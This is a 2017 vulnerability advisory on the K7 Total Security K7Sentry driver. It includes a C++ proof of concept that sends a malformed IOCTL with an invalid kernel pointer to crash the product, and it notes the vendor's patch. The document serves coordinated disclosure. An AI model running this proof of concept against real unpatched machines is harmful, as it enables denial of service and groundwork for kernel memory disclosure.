SSD Advisory – K7 Total Security Device Driver Arbitrary Memory Read
Credit to Author: SSD / Maor Schwartz| Date: Mon, 23 Oct 2017 10:31:38 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope
Vulnerability Summary
The following advisory describes an Crash found in K7 Total Security.
Credit
An independent security researcher, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
K7 has released patches to address this vulnerability – K7TotalSecurity version 15.1.0.305
Vulnerability details
User controlled input to K7Sentry device is not sufficiently sanitized, the user controlled input can be used to compare an arbitrary memory address with a fixed value which in turn can be used to read the content of arbitrary memory.
Crash report
By sending invalid kernel pointer we can crash the K7 Total Security process as shown here:
Proof of Concept
The PoC has been tested on Windows 7 x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #include <Windows.h> #include <iostream> using namespace std; int wmain() { HANDLE hDevice = CreateFileW(L“\\.\K7Sentry”, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hDevice == INVALID_HANDLE_VALUE) { cout << endl << “Failed accessing K7Sentry Device Driver. Error: “ << dec << GetLastError() << endl; cin.get(); return 0; } BYTE dummyBuf[0x20]; memset(dummyBuf, 0, sizeof(dummyBuf)); *(ULONG_PTR*)dummyBuf = 0xF8F8F8F8; //INVALID KERNEL POINTER TO TRIGGER PAGE FAULT POC. cout << endl << “Sending malformed IOCTL…” << endl; DWORD bytesReturned = 0; DeviceIoControl(hDevice, 0x9500286B, dummyBuf, sizeof(dummyBuf), dummyBuf, sizeof(dummyBuf), &bytesReturned, NULL); cin.get(); return 0; } |